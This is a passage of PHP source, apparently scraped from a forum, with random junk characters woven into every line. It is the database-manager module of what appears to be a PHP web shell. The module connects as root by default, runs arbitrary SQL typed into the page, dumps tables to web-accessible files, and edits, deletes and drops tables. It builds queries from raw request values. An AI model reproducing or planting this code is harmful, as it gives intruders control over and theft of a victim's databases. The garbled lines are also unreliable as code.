  670.         makehide('dbuser');
    4 J' A; @. B& ?' i5 f  b
  671.         makehide('dbpass');
    6 u: Q2 P* T  @' H2 N5 n  A9 ^
  672.         makehide('dbname');2 h6 O0 K9 X( P" l2 Z
  673.         makehide('charset');
    2 `( j$ L( l+ c9 [) F' }" q, j% B3 M
  674.         makehide('doing');; D  @: t! Z$ @$ v* c
  675.         makehide('action','sqlfile');, P6 K2 V/ M5 |% p
  676.         p('</form>');, C0 h0 s' l! ^4 \: h5 o2 j$ ~, J
  677. }
    ' I" o* X# G1 `

  678. 9 @) t# {9 ?& x& Q. r; M1 \$ G
  679. elseif ($action == 'sqladmin') {
    9 R4 [+ o6 H8 `: q% F4 z7 o+ H- p
  680.         !$dbhost && $dbhost = 'localhost';$ I2 t8 g% v$ Q7 j, k7 D# p
  681.         !$dbuser && $dbuser = 'root';. u( e8 B4 s0 C2 j/ J4 b
  682.         !$dbport && $dbport = '3306';1 O+ a+ f  X6 Z6 x* o* [
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';9 k' n& p; g0 k, g# `8 m& d$ p
  684.         if(isset($dbhost)){
    2 ^4 B5 y: _9 H
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";) P; a  ?+ c) v
  686.         }1 s& _2 f$ C, _" u
  687.         if(isset($dbuser)) {
    6 U. p- y' G" x0 B+ m7 y( Q) X
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";# \' j" U, Y9 y& W, i
  689.         }
    4 V; J6 }- R+ w# q3 a* U
  690.         if(isset($dbpass)) {+ ]9 H6 @8 N$ Q8 e" i4 H
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";- E* r) z+ M* I3 s/ @3 ], G2 u3 S
  692.         }
      B) R! q( K# q6 U( }6 k- u4 F
  693.         if(isset($dbport)) {% Z5 F6 j) G- m. l0 j/ T
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    0 z/ S8 q4 G2 U/ ?/ X
  695.         }
    5 w) e6 e$ ~" P$ w
  696.         if(isset($dbname)) {. b* m$ E& f' \9 E% ^. F
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
    , ]4 u8 `" y% o; N
  698.         }# N: @. [% O) r- }; b7 t
  699.         if(isset($charset)) {
    ' N! S5 F* [& h1 m
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    3 ]( w0 ~1 J3 t/ d
  701.         }
    8 J3 A6 o3 W# v
  702. 9 H% @- K; A3 ~$ p; c! d# N
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    6 f% i, x  a) y5 H5 A0 r; F6 E$ v2 e
  704.                 if (!$table) {
    3 Z+ R% v2 x, |0 c4 L3 H
  705.                         m('Please choose the table');, @9 t; Z4 h% E/ h" J  x" e1 }
  706.                 } else {9 G; ]0 Q% }( [: s" p
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    , W0 W) Z8 W0 h) `+ e
  708.                         $table = array_flip($table);) ~  x8 f9 J" h+ J! v  W% u) b# Y/ |
  709.                         $fp = @fopen($path,'w');
    & U$ G4 [# f2 M- R) \! s
  710.                         if ($fp) {: Y1 Z9 E) o) Q8 K) N
  711.                                 $result = q('SHOW tables');
    5 ]3 o$ a. i$ v9 M
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');1 T2 _9 J$ D' a: l
  713.                                 $mysqldata = '';9 j0 Y) B: \6 E4 M9 C8 k
  714.                                 while ($currow = mysql_fetch_array($result)) {5 a1 X' D4 h5 \0 w+ y
  715.                                         if (isset($table[$currow[0]])) {
    3 G1 G7 X; D8 e/ Q
  716.                                                 sqldumptable($currow[0], $fp);: \& C0 u& V9 W# R* ^+ f
  717.                                         }
      Z. L0 W  G9 {9 a- R' V, y
  718.                                 }/ {) Y  q8 k# Y8 a8 g) o
  719.                                 fclose($fp);- W, W5 S* v0 j' B  H5 c( m; u. B
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    3 @( ?% Z5 k# Q
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');- v- e8 i2 A1 _' R+ r1 [6 o$ _$ O
  722.                                 mysql_close();
    3 r) J: h3 |: t9 b4 }# F
  723.                         } else {
    - n7 a  }! J( P1 d2 S: y
  724.                                 m('Backup failed');! A4 \0 S! Q, G% C# }
  725.                         }
    / q  ]1 K1 F  W$ V5 J' g
  726.                 }
    ' A, t9 w; i' ^6 R! f& s$ f3 o1 B
  727.         }
    ( z' J. l! z& g' _
  728.         if ($insert && $insertsql) {$ `: f4 C3 d$ i$ t8 f, |
  729.                 $keystr = $valstr = $tmp = '';6 c( v8 K6 N; g1 x8 ~8 K2 y% F
  730.                 foreach($insertsql as $key => $val) {% `; s0 C2 F- H" G
  731.                         if ($val) {% i6 S' R- H' @% H0 n
  732.                                 $keystr .= $tmp.$key;
    & H/ P1 R3 P# p5 X% j1 r0 Z
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    5 O5 l7 y1 Y" p) b  I& N) L
  734.                                 $tmp = ',';
    2 L6 y0 D. U" i& |+ D
  735.                         }
      N$ f- F8 M% N" K( s3 l' M7 D% M
  736.                 }9 ~4 a) a$ z7 }$ N: P
  737.                 if ($keystr && $valstr) {" h6 S$ I, Y2 F" v2 v
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);  s* r) o5 G% p0 N! ~: w* E5 E' I
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    % G" Q- D( a/ j! G' }
  740.                 }7 B4 M' Z2 d3 T/ K4 R
  741.         }
    & [+ Q! o% a3 @" P  C' d
  742.         if ($update && $insertsql && $base64) {
    . @; U8 Q) Q# H
  743.                 $valstr = $tmp = '';/ U) e/ Y7 M7 P9 M2 g
  744.                 foreach($insertsql as $key => $val) {
    . z  _  k5 j: F  u/ G
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    $ H5 N8 ~4 ~0 h% o+ ~1 P
  746.                         $tmp = ',';
    + \/ I4 N8 w. h7 s' {! e1 c
  747.                 }
    0 a3 k4 r& v4 H0 _' d- P6 f
  748.                 if ($valstr) {5 P$ M# G- x' m9 N6 Z
  749.                         $where = base64_decode($base64);  M- Z( t* d( s9 H8 R5 G
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 p% ~* e1 U0 r/ r# s; Q8 \/ u
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());) A) W- k, c- d$ _6 g
  752.                 }  D6 p) m3 Q/ R3 ^6 y. T
  753.         }
    * i; a( H2 N2 [( x7 S9 H& a
  754.         if ($doing == 'del' && $base64) {- |! _0 G* B4 p' J' l
  755.                 $where = base64_decode($base64);. @  w/ `: r; r8 Q
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    : g3 V0 z% \- A9 x
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
      y6 K  O  `+ F8 k
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());: w# u4 j. ?4 `$ l3 b
  759.         }6 ~  n( |0 P2 H$ b2 ^- q  @# C
  760. 1 E# W$ p, N9 ^% Q
  761.         if ($tablename && $doing == 'drop') {( C; v) Z* m: Q6 b
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    0 \" j1 b' d2 t. c
  763.                 if (q("DROP TABLE $tablename")) {
    , P8 i) o" j: \! [8 l
  764.                         m('Drop table of success');; B4 h, ]! f2 x( G$ Y" l% O" T& c( g
  765.                         $tablename = '';, ~. u4 e2 g  i
  766.                 } else {
    # F! O/ s0 y& L$ ~! i. h/ k
  767.                         m(mysql_error());
    ' ~: t6 q0 |# I
  768.                 }9 I' ~% |& V/ f( \# [  p% J
  769.         }
    # L/ x+ K# F; Q% K
  770. + Y- p3 U& m- Y# k* Z
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');) s( L. ]* W# F% K( }
  772. " K8 N5 E" K6 `% Z$ Q8 X
  773.         formhead(array('title'=>'MYSQL Manager'));/ p% C( N* X9 U* L; v- x1 x
  774.         makehide('action','sqladmin');
    ) y5 I2 n1 H- Z( q8 b  S0 [3 L7 U
  775.         p('<p>');" C5 f- H! C# e
  776.         p('DBHost:');4 q8 k" u" S4 `2 _" u- D
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));" \7 X4 u- o) l$ Z5 P' j  u
  778.         p(':');2 p- p+ T& _* {: T0 b" F. ]
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));: {9 L/ T7 F% [; [7 E0 J
  780.         p('DBUser:');
    % W& o( t* a0 _0 q
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    $ Q  J% A/ f! T% u5 a: b) G5 T, [) I
  782.         p('DBPass:');' ?0 L( j' b  _4 T0 M9 R4 l" i
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));) p) X- Y3 w4 T7 c" w
  784.         p('DBCharset:');; s! p- x  |  J7 q( X
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    # _* n% t. f. n& {3 f
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));) T7 R7 a# I2 A
  787.         p('</p>');
    1 T7 e# q0 r) a8 S! N
  788.         formfoot();
    3 p0 @" A( a7 B" y
  789. ?>
      ^8 }. E' V! s  u5 W
  790. <script type="text/javascript">
      X; g* k/ Y1 ?# O4 u) q3 _
  791. function editrecord(action, base64, tablename){
    + Q5 q. M8 Z8 G! u; z8 O
  792.         if (action == 'del') {               
    . l+ D8 M& Y" Q+ `: @$ s
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;5 ]- l+ D' @  p% U* O( R
  794.         }
    , F- B6 G5 ~6 h6 `8 D0 d" D& i, j3 k
  795.         $('recordlist').doing.value=action;6 m3 X/ p$ d4 ]4 Y
  796.         $('recordlist').base64.value=base64;
    1 D, a! O5 l# M4 A% E
  797.         $('recordlist').tablename.value=tablename;  J, _* G5 K$ ]. g
  798.         $('recordlist').submit();! U5 |1 R* u/ `) J1 s  q% W
  799. }
    * O/ o9 Q, `3 B$ @, w9 s+ T- J, }6 N
  800. function moddbname(dbname) {
    0 n7 d" N' M5 e& {; D* s+ W
  801.         if(!dbname) return;' I- y. \, T+ ^+ I( P1 w8 }" c
  802.         $('setdbname').dbname.value=dbname;) n# a2 @% x0 k; G# Z$ n
  803.         $('setdbname').submit();- X% V7 Q. }6 Z* Z6 F, {! j
  804. }
    5 {2 n  g, {* c& o: ^4 ~
  805. function settable(tablename,doing,page) {' I0 s6 }4 [/ s' |5 S4 F
  806.         if(!tablename) return;
    ( X6 f# e. R- L
  807.         if (doing) {
    1 }$ c* W3 N" Q7 R
  808.                 $('settable').doing.value=doing;
    8 S/ x4 M2 T( k
  809.         }
    9 L% b% G2 ?8 S
  810.         if (page) {2 S: a6 j7 k) d% A4 K" G! S
  811.                 $('settable').page.value=page;% a. e! [* B  S5 J: ]
  812.         }$ M3 d2 O5 W2 A$ @1 w/ b
  813.         $('settable').tablename.value=tablename;
    4 Y( P1 `: d+ F2 @! U+ e
  814.         $('settable').submit();
    - ^' S5 S; {4 S, f  K
  815. }% A' p, Y0 @; x3 d% F
  816. </script>9 H8 v" Y$ _: K& o$ r, P
  817. <?php& U; C0 Z/ P. }% Q: S, e
  818.         //操作记录
    - o1 W* {; Y8 R5 k
  819.         formhead(array('name'=>'recordlist'));9 w6 R3 `5 ~  |1 m0 t# k3 ^: d' b
  820.         makehide('doing');
    6 F! Y/ ?4 ~3 F. f
  821.         makehide('action','sqladmin');
    ( T" @" t0 J: A5 G8 P
  822.         makehide('base64');
    & G! B1 O  n) c1 r2 I4 I
  823.         makehide('tablename');2 E- O/ M% D& M% l0 i) O6 n
  824.         p($dbform);
    5 y# L" h! ]4 o. G
  825.         formfoot();
    + f2 ]( n2 K0 m" Y1 y2 ~4 o; P4 ?8 D) a
  826.         //选定数据库: E  S" ~! K; j" x
  827.         formhead(array('name'=>'setdbname'));' }. C( X- @8 d% G" z9 o+ l
  828.         makehide('action','sqladmin');/ B6 N/ |2 V2 @" U" ~) \) H: b& Q
  829.         p($dbform);' _2 Z1 d& s  h$ c6 M  I
  830.         if (!$dbname) {
    / H% t6 F: w8 x4 p
  831.                 makehide('dbname');! G! e# y' W; H7 b, q
  832.         }: F, e9 s3 Y/ o8 ~* Z( t. F
  833.         formfoot();; y5 R" F4 i' L9 z( o' \# F; l
  834.         //选定表
    & M( B' U9 Y2 z9 h* O. b" f
  835.         formhead(array('name'=>'settable'));
    & B+ Z- ?- F5 x( T; S6 x
  836.         makehide('action','sqladmin');2 I: i7 b2 g. z0 w2 N$ v
  837.         p($dbform);4 O  o5 A+ g8 S  H4 _& D
  838.         makehide('tablename');
    ) [" N# R8 N1 U" W; C& y
  839.         makehide('page',$page);
    7 U1 @6 ], ~( W: h# N* r# M
  840.         makehide('doing');! s4 ]# U) A- s/ b" X
  841.         formfoot();. |& f/ q1 t  x. y* X9 R4 J! _
  842.         $cachetables = array();       
    ( T# C+ o# D& [1 z4 D! }$ y5 ?
  843.         $pagenum = 30;6 v* f! m. S2 |5 w4 i
  844.         $page = intval($page);
    ' Z7 U* f2 l1 T4 {9 q0 Q
  845.         if($page) {
    9 C5 C& I$ |) i: `( j, x2 L
  846.                 $start_limit = ($page - 1) * $pagenum;7 t( y, a$ [% q: U& Y
  847.         } else {
    ; g( H8 p5 m" ^* W
  848.                 $start_limit = 0;
    $ b) g+ n5 y1 m+ x; J$ Y
  849.                 $page = 1;
    , T2 j" K7 ~3 q9 B& f- P& V! M7 a
  850.         }
    # [: M2 G$ o4 U( X  Q0 [( ~
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    6 z: N% C$ Q. G* B. y& G
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
      C9 O8 a3 G' g7 H, Q; d
  853.                 //获取数据库信息
    - X' O0 l2 \) `2 k6 W% ]- _
  854.                 $mysqlver = mysql_get_server_info();' C) r  V/ j! K
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');* y) f1 _% E/ O: Q+ U
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    5 P& p6 _5 V, A& Z
  857.                 //获取数据库8 q' k9 F# X: {5 {" g2 b
  858.                 $query = q("SHOW DATABASES");
    * o7 h2 H7 @, l3 |4 }3 b3 \
  859.                 $dbs = array();
    . _8 h9 ]; b+ \/ y
  860.                 $dbs[] = '-- Select a database --';) K& v$ G" N: c4 W% v; ~- t
  861.                 while($db = mysql_fetch_array($query)) {
    - F; y( v* B" J% }' Z+ M, k
  862.                         $dbs[$db['Database']] = $db['Database'];
    9 O, B  C8 t' t! }- s7 N! S
  863.                 }
    1 q/ W4 v2 M  V" g1 [0 y5 y1 N
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));; _9 f, j0 w+ F& |% q
  865.                 $tabledb = array();! v; u9 I9 R6 V
  866.                 if ($dbname) {
    + N  c+ l" Q* D8 `8 y: e3 t
  867.                         p('<p>');( B6 b4 K6 u1 v- ^
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    . N# c  Q4 A5 ~6 _
  869.                         if ($tablename) {( r5 y1 h1 g: L" n5 m4 Q! R
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
      k! E0 j6 j& Q$ R
  871.                         }
    ; @4 z: x5 ?9 X) Q5 L6 B
  872.                         p('</p>');/ |- S# n. r" Z
  873.                         mysql_select_db($dbname);
    $ h- E8 {! i/ i
  874.                         $getnumsql = '';" j$ d# r* a& x4 l8 i3 T
  875.                         $runquery = 0;
    * {# S) U0 g8 o& p  b4 s' b3 h
  876.                         if ($sql_query) {
    7 m5 [: n& u5 F. i4 Y
  877.                                 $runquery = 1;; y0 Y" m5 J$ |  N( I0 n) l$ P
  878.                         }
    # K+ W2 R* v9 ]3 E: ^
  879.                         $allowedit = 0;
    * X0 c3 E/ {4 N7 y8 D
  880.                         if ($tablename && !$sql_query) {
    1 h# R  Q4 _+ U  Y
  881.                                 $sql_query = "SELECT * FROM $tablename";! o' }6 e1 Q. ]0 B# |+ C; N% L
  882.                                 $getnumsql = $sql_query;
    , y* j$ h" e' |: R0 F0 y6 t
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
    9 B9 j. F, R0 m. k3 B9 L' O
  884.                                 $allowedit = 1;
    3 y; p; ~. G& R6 d5 n
  885.                         }3 d# V4 W0 M. a3 O
  886.                         p('<form action="'.$self.'" method="POST">');
    $ L) j$ T4 Q2 J/ V- }& {6 s3 R/ U
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    5 v- ~, y) T* e5 [* B9 X) N
  888.                         makehide('tablename', $tablename);
    6 B) S9 A" g, E/ ~3 I; Z( ^+ X
  889.                         makehide('action','sqladmin');  v# a  W8 k' A  K: A! Z) X5 {
  890.                         p($dbform);3 Y. ~3 K7 s8 n: G( F8 L  b  }
  891.                         p('</form>');2 D$ {, p- K8 Z+ b) d( g
  892.                         if ($tablename || ($runquery && $sql_query)) {: I4 Z1 I1 ], J4 f4 F- |8 l
  893.                                 if ($doing == 'structure') {
    7 L' L& ?+ s3 t$ B: t" w4 j
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");6 K" t5 _# q: r% u8 Q  ?; j
  895.                                         $rowdb = array();5 N$ x/ T7 y$ Q$ J1 g
  896.                                         while($row = mysql_fetch_array($result)) {
    / F, N3 v/ j' Y0 k; z0 _- K
  897.                                                 $rowdb[] = $row;- b/ O& h2 D1 g# `* @% k: L
  898.                                         }
    ( ]' e+ V9 F/ C
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');! x; ^4 x3 R4 v6 I( k1 M
  900.                                         p('<tr class="head">');1 U7 U( `9 ?$ Z; D
  901.                                         p('<td>Field</td>');6 n7 T; F1 Q8 _
  902.                                         p('<td>Type</td>');
    3 X3 F) e) t" k& n" J
  903.                                         p('<td>Null</td>');4 H: i1 b' k/ I0 A$ K3 g
  904.                                         p('<td>Key</td>');
    8 c+ z0 c) s+ t; \
  905.                                         p('<td>Default</td>');; v% C- a* G# m3 D) W
  906.                                         p('<td>Extra</td>');- z5 T; D. D, w* h  |( X
  907.                                         p('</tr>');1 w7 t* h; Z" \% N7 P. g
  908.                                         foreach ($rowdb as $row) {$ P& `( c8 I) a$ R: P* n4 R$ F" Q
  909.                                                 $thisbg = bg();) M0 }. r/ q) H# J4 V
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 H: x# J! k& V, F; \0 E1 ?
  911.                                                 p('<td>'.$row['Field'].'</td>');
    7 p9 v, K+ y, ]  d; q  L
  912.                                                 p('<td>'.$row['Type'].'</td>');$ R" }# [5 l. t! N" c
  913.                                                 p('<td>'.$row['Null'].' </td>');
    , w/ n; M9 X/ r' `7 s' U
  914.                                                 p('<td>'.$row['Key'].' </td>');5 W4 g. m: q$ ]7 T. c
  915.                                                 p('<td>'.$row['Default'].' </td>');
    2 O- f& x: T# ^) o6 n% Y1 |
  916.                                                 p('<td>'.$row['Extra'].' </td>');
    # P9 l2 X# a$ f( F4 I
  917.                                                 p('</tr>');
    ( `$ d* x" r' T: I, a+ p
  918.                                         }- Q! \$ x# ]8 |% T0 j( z6 T
  919.                                         tbfoot();. o% X, v, \% c/ i/ I6 E
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    # K  u3 Q- N0 u' a) y* U
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);- r# a7 H1 I. ^+ T) ]
  922.                                         while ($row = mysql_fetch_array($result)) {
    3 k6 K( p6 c& l( [' r- ]6 i9 @
  923.                                                 $rowdb[] = $row;
    ( q9 ~* B- G* ]; q+ H0 g4 C
  924.                                         }0 a. ?0 W+ r4 I4 x/ T& v
  925.                                         $rs = array();1 h. z3 }% H& K( [' H
  926.                                         if ($doing == 'insert') {
    ; U, l, u# Y" f% r6 [$ l4 y. b
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    + r% x; W5 x( b4 l% i* L$ S
  928.                                         } else {8 z1 _1 R  K+ D
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    7 ]! t% w$ ]( c4 m: @/ @: G. [" U
  930.                                                 $where = base64_decode($base64);
    6 v# I7 \0 L, h# u  P; A5 Q
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");- W, H; {8 I! y) f0 o& w3 y8 x
  932.                                                 $rs = mysql_fetch_array($result);
    $ W% c/ B! a7 u8 I' [4 Q8 ~
  933.                                         }$ \" L( m/ j; q; ^7 t
  934.                                         p('<form method="post" action="'.$self.'">');
    2 G  U' G: I# a  F' c4 c7 n
  935.                                         p($dbform);
    ) z) `- v7 E! ~* f3 T4 g; H
  936.                                         makehide('action','sqladmin');
    % Z" p. [! V, \& v
  937.                                         makehide('tablename',$tablename);) @& v4 [5 P1 q1 n- e* J' m
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');! n! ~" M( l5 n$ ]
  939.                                         foreach ($rowdb as $row) {0 Z3 \6 `+ _( M0 J
  940.                                                 if ($rs[$row['Field']]) {6 |: u  ^2 k& r8 t* Z
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);; @2 K# T% N; l
  942.                                                 } else {
    ! l# j0 F5 B  T8 j
  943.                                                         $value = '';2 B0 \' [/ `$ H  R" u
  944.                                                 }% Q; |* W! f, P$ e8 s, p
  945.                                                 $thisbg = bg();
    2 A3 ^/ `6 ~2 C% `" P- X7 s
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    & ^# \% @) g- ]: M( F; a8 _
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    ' r7 z4 u! r7 |5 u$ a6 h3 |
  948.                                         }3 \: l" B& L0 B4 O
  949.                                         if ($doing == 'insert') {' \  G8 Q( O. Y- S' G" S4 P
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');' w, @3 q8 c- d& s; M+ f: W* x" t' H
  951.                                         } else {
    * ]! A' P3 P, K1 G' \
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');9 ?. x% o+ j/ t9 m6 d  [
  953.                                                 makehide('base64', $base64);: b8 f: ^3 ]" A: F0 e
  954.                                         }
    6 C& Q. M% d. V8 ]" q& M7 v# A
  955.                                         p('</table></form>');. A7 L8 c# c# h: w3 I
  956.                                 } else {- C: S# |8 O# H0 X& H7 F. U
  957.                                         $querys = @explode(';',$sql_query);; [- u  _. R9 z8 m% h5 f& F
  958.                                         foreach($querys as $num=>$query) {# r) L3 ]+ h5 W' J: T
  959.                                                 if ($query) {( y2 M) t% U1 w5 i4 v
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    : y) Z" Z+ K- |) r
  961.                                                         switch(qy($query))8 v  W$ b# S2 |/ h+ s+ g( x# d
  962.                                                         {9 y$ m1 A8 B/ O! q# a8 w0 l
  963.                                                                 case 0:
    9 S9 z" v" v0 |3 X
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');6 C$ x/ W( s; s# A# _" q
  965.                                                                         break;       
      i, k- g1 i- |- B2 o5 O  k" x( p
  966.                                                                 case 1:1 j5 L+ B; p* m3 z' N% B3 k
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    . B6 k0 |: k9 W" @0 T! R
  968.                                                                                 $allowedit = 1;+ f7 ?1 k$ J  [6 i
  969.                                                                         }. d: P/ o  [7 v& R
  970.                                                                         if ($getnumsql) {9 u+ B# y3 h0 z6 _& m5 U
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    - j4 t# C. L# y; B' G
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    + n) L+ n3 O$ I5 p3 u4 H: c3 M
  973.                                                                         }& Q0 q4 \, v  V8 w/ G7 b) C
  974.                                                                         if (!$tablename) {% [6 f  c( A6 C8 Z7 t
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    0 ^) \3 [! F- p0 w' ~; e" D
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    # ~! {# s$ A( W4 i! ]
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);) h* L+ D5 l- w3 ?5 \8 \: I% g
  978.                                                                                 $tablename = $matches[1][0];
    & y: v' Q' `5 j( v$ _
  979.                                                                         }0 g; x8 n$ K' K" L
  980.                                                                         $result = q($query);9 ?/ O: s9 E9 q1 S7 x
  981.                                                                         p($multipage);
    $ c; A1 @! L2 s8 [' \
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    8 t! C: y* p8 u
  983.                                                                         p('<tr class="head">');
    * g4 `" T8 {# A
  984.                                                                         if ($allowedit) p('<td>Action</td>');' q3 F6 y6 C1 a% D6 M
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    8 W4 p2 u6 f5 s
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    4 ~3 f  F8 |/ t# ]. T
  987.                                                                                 $name = @mysql_field_name($result, $i);
    7 A2 L9 P; l' M3 p3 C
  988.                                                                                 $type = @mysql_field_type($result, $i);
    * `0 o" J+ W. E9 N2 P  L
  989.                                                                                 $len = @mysql_field_len($result, $i);" v0 k% n: l4 z
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    ( I* ~9 p% I) k
  991.                                                                         }
    3 c4 L: `0 B* I9 _" }; `4 x
  992.                                                                         p('</tr>');% K/ c& V  J2 o' R$ t: j
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    & I+ O, c, \. a: {2 @$ I6 ?
  994.                                                                                 $thisbg = bg();
    " l+ J& ]3 u7 A/ [' w9 n
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');% T' F# n# p" F9 E
  996.                                                                                 $where = $tmp = $b1 = '';8 B6 U4 r7 Z; N4 m! B
  997.                                                                                 foreach($mn as $key=>$inside){
    / F7 g& |7 i5 i& h( t
  998.                                                                                         if ($inside) {
    8 b& s+ R4 Q; B+ Z$ I
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";4 t$ t4 ]+ c8 y; o9 h) L% J7 p0 C
  1000.                                                                                                 $tmp = ' AND ';
    3 T$ s! b: N9 Y$ l5 E" A
  1001.                                                                                         }& P; e8 c" b3 q( ^
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    3 f4 I: y2 J# t
  1003.                                                                                 }6 v, b; t5 {) \  [
  1004.                                                                                 $where = base64_encode($where);
    . |# |9 n- L) r/ M3 p. r% L+ ]3 G  B
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    ) V  `3 o4 I8 M  j
  1006.                                                                                 p($b1);
    5 B5 K+ ]6 |% t2 N
  1007.                                                                                 p('</tr>');. a( {6 C4 b3 y* P" B
  1008.                                                                                 unset($b1);
    " U0 t! K4 ~7 i+ w
  1009.                                                                         }1 m' I6 f8 [/ `& n7 `
  1010.                                                                         tbfoot();
    9 ~8 v- t& O; F. ?3 m9 }4 Q
  1011.                                                                         p($multipage);) J- W$ C! l' Q9 _! ^) d& o$ _  s
  1012.                                                                         break;        $ |8 S! P1 m* Y& P8 z
  1013.                                                                 case 2:
    & I: L0 |, @7 f6 t
  1014.                                                                         $ar = mysql_affected_rows();
    / k( |  f% E& c3 u
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');! A. R: Y* s1 |. T8 B8 o2 @) T
  1016.                                                                         break;( {. l9 m0 [" w0 S
  1017.                                                         }+ x% L2 o7 A! u! s3 @1 Q" @
  1018.                                                 }5 ]; y7 @' Y5 u; A
